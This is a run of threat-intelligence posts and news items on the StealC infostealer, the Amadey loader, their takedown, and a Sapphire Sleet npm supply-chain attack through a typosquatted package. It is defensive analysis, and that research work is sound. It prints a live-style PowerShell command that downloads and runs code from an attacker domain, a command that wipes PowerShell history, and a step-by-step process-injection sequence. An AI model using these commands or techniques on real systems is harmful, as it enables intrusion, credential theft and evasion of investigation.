Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

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The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

In a novel maneuver for a disruption operation against cyber attackers, industry and law enforcement teamed up to conduct a court takedown of two widely-used criminal tools at once rather than individually, Microsoft said Tuesday.

The takedown simultaneously went after Amadey, a botnet that can serve as a malware delivery system, and StealC, an infostealer. Cybercriminals often use them in conjunction and they rely on the same infrastructure, Microsoft said.

“When multiple parts of an operation are disrupted together, attacks are harder to launch, scale, and recover from,” said Steven Masada, assistant general counsel for Microsoft’s Digital Crimes Unit. “The result: fewer disrupted services, fewer opportunities for cybercriminals to profit, and more friction when they try to rebuild. It’s no longer enough to go after threats one by one. We need to interrupt how the attacks are put together.”

Microsoft had been tracking Amadey with ESET, BitSight, Lumen and Mitsui Bussan Secure Directions. Meanwhile, Europol had been investigating StealC alongside law enforcement partners including Germany’s Federal Criminal Police Office and the Dutch and Danish National Police as well as IBM X-Force and Proofpoint.

They then joined forces and turned to the Racketeer Influenced and Corrupt Organizations (RICO) Act, used to help authorities go after organized crime, to disrupt more than 200 command-and-control servers. Microsoft said it gained insights from its artificial intelligence product Copilot that “allowed the legal team to treat both malware families as part of a single criminal conspiracy.”

Microsoft regularly leads court-authorized disruption operations, but the industry and law enforcement partnerships combined with AI to expand data collection and identify connections beyond what one company could normally do, it said.

Amadey and StealC were linked to more than 140,000 infected computers around the globe in the first week of May alone, the company said. StealC has ranked among the top infostealers for years since its emergence in 2023 and sells in underground forums as a malware-as-a-service. It’s typically used by Russia-linked groups.

Amadey dates back to 2018, and is also commonly employed by Russian groups, including in attacks on Ukraine.

Their interaction shows the assembly line-like structure of modern cybercrime, Microsoft said. Even if the cybercriminals behind both tools never coordinate, their tools are designed to work together, it said.

“StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms,” the company wrote in a separate blog post. “It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.”

The post In a first, a court takedown goes after two cybercrime tools at once appeared first on CyberScoop.

Hundreds of C&C servers were disrupted in an operation involving law enforcement and several cybersecurity companies.

The post Microsoft and Allies Smash Shared Infrastructure of Amadey and StealC Malware appeared first on SecurityWeek.

Mistic is used by Woodgnat, an initial access broker working with Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta.

The post New ‘Mistic’ RAT Opens Door to Several Ransomware Families appeared first on SecurityWeek.

CryptoBandits uses a local SOCKS5 proxy for traffic routing, blending data theft with remote code execution.

The post CryptoBandits Malware Doubles as a Backdoor, Abuses Tor appeared first on SecurityWeek.

Authorities on Thursday disrupted a botnet, a malware framework and seized infrastructure that Evil Corp and other cybercrime groups used to steal data and break into various networks.

The globally coordinated effort targeted SocGholish, multi-stage malware that has compromised websites, redirected users to traffic distribution systems (TDS) and slipped malware into their networks since 2017.

“The malware establishes an initial foothold into victim computers, collectively known as a botnet, and is then used by threat actors for further targeting with ransomware campaigns and espionage,” the FBI’s cyber division said in a statement. 

Cybersecurity firms, researchers and officials from the United States, Canada, Germany, the Netherlands and Europol took down 106 servers and remediated nearly 15,000 sites that were infected with the malware. Officials also disabled the botnet and notified victims.

Sites infected with SocGholish, which are primarily hosted on WordPress, were widespread and provided everyday services including restaurants and auto repair shops, according to the Dutch National Police. 

The botnet, also known as “FakeUpdates,” is linked to the Russian cybercrime group Evil Corp. It also provided initial access to other ransomware variants, including DoppelPaymer, WastedLoocker, Hades Ransomware, LockBit, RansomHub and others, according to Infoblox, which participated in the takedown. 

Proofpoint, which also participated in the disruption, described Evil Corp as one of the most prominent cybercrime groups in operation and the “grandfather” of a threat type that compromises websites and uses TDS to redirect users to malware.

Following the takedown, the FBI issued a public service announcement warning about cybercriminals using TDS to break into victim networks for ransomware or other financial scams. 

Cybercriminals redirect traffic from sites to bypass firewalls, obscure their activity, identify potential victims and send them to phishing pages to steal credentials, initiate financial scams, access networks, deliver other malware, and sell access to other cybercriminals, officials said.

The law enforcement action was part of Operation Endgame, a multinational effort targeting cybercrime since 2024, and more narrowly for the FBI part of Operation Riptide, an ongoing campaign targeting cybercriminals and the infrastructure and financial networks they use to commit fraud.

The post Authorities disrupt Evil Corp’s SocGholish botnet appeared first on CyberScoop.

The Android malware allows its operators to take control of infected devices and harvest sensitive information.

The post Rokarolla Banking Trojan Targets 200 Applications appeared first on SecurityWeek.

Source

Source

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

At a high level, the attack progressed through seven phases:

• Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
• Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
• Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

